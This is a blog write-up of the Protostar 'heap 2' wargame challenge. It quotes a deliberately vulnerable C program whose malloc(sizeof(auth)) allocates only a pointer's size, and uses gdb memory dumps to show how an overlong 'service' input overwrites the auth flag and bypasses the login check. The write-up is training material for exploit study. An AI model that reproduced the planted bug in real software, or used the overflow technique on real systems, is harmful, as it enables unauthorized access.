Sunday, December 30, 2012

exploit-exercises Protostar: Heap 2

This is the write-up for heap 2 challenge for the Protostar wargame.
The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
        char name[32];
        int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
        char line[128];

        while(1) {
                printf("[ auth = %p, service = %p ]\n", auth, service);

                if(fgets(line, sizeof(line), stdin) == NULL) break;
               
                if(strncmp(line, "auth ", 5) == 0) {
                        auth = malloc(sizeof(auth));
                        memset(auth, 0, sizeof(auth));
                        if(strlen(line + 5) < 31) {
                                strcpy(auth->name, line + 5);
                        }
                }
                if(strncmp(line, "reset", 5) == 0) {
                        free(auth);
                }
                if(strncmp(line, "service", 6) == 0) {
                        service = strdup(line + 7);
                }
                if(strncmp(line, "login", 5) == 0) {
                        if(auth->auth) {
                                printf("you have logged in already!\n");
                        } else {
                                printf("please enter your password\n");
                        }
                }
        }
}
Even if you miss the error after a first quick glance and you didn't get the "heap pointers are stale" , this should raise your eyebrows.
user@protostar:~$ /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804c008, service = (nil) ]
auth A
[ auth = 0x804c018, service = (nil) ]
The first malloc returned 0x804c008 and the second malloc returned 0x804c018 i.e there is 16 bytes space between the two. Uncounting the 8 bytes of the second chunk's header, it means that the malloc() reserved 8 bytes space (at most; rounding up to the next double word multiple.)
(gdb) continue
Continuing.
[ auth = (nil), service = (nil) ]
auth A

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000:  0x00000000  0x00000011  0x00000a41  0x00000000
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) continue
Continuing.
[ auth = 0x804c008, service = (nil) ]
auth B

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000:  0x00000000  0x00000011  0x00000a41  0x00000000
0x804c010:  0x00000000  0x00000011  0x00000a42  0x00000000
0x804c020:  0x00000000  0x00000fe1  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
Wait, what ? But our structure's size is 36 bytes (32 for char + 4 for int) and
it should have reserved 40 bytes. The key instruction here is:
auth = malloc(sizeof(auth));
auth is "struct auth" pointer, and a pointer's size is 4 bytes (in x86)! the malloc
should have been passed a sizeof(struct auth) instead. This may be missed in a quick glance when the pointer's name is the same as the structure's name. To exploit this program, we have to set auth->auth (the int in struct auth)
which points at 32 bytes offset from the returned address of the malloc().
Counting off 8 bytes of the first allocated chunk + 8 bytes of the second
allocated chunk's header, we will set the 17th byte of the second chunk's data
block in order to have auth->auth being true. To clarify a bit more, here is how our heap space will be when using service + 16 bytes (16th being the 0x0a new line character.)
(gdb) continue
Continuing.
[ auth = (nil), service = (nil) ]
auth A
Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) continue
Continuing.
[ auth = 0x804c008, service = (nil) ]
service 123456789ABCDE

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000:  0x00000000  0x00000011  0x00000a41  0x00000000
0x804c010:  0x00000000  0x00000019  0x33323120  0x37363534
0x804c020:  0x42413938  0x0a454443  0x00000000  0x00000fd9
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) continue
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
login
please enter your password
And when writing at least 17 bytes:
(gdb) continue
Continuing.
[ auth = (nil), service = (nil) ]
auth A

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) continue
Continuing.
[ auth = 0x804c008, service = (nil) ]
service 123456789ABCDEF

Breakpoint 2, main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20          printf("[ auth = %p, service = %p ]\n", auth, service);
(gdb) x/20x 0x804c000
0x804c000:  0x00000000  0x00000011  0x00000a41  0x00000000
0x804c010:  0x00000000  0x00000019  0x33323120  0x37363534
0x804c020:  0x42413938  0x46454443  0x0000000a  0x00000fd9
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) continue
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
And that is it for heap 2 challenge!

No comments:

Post a Comment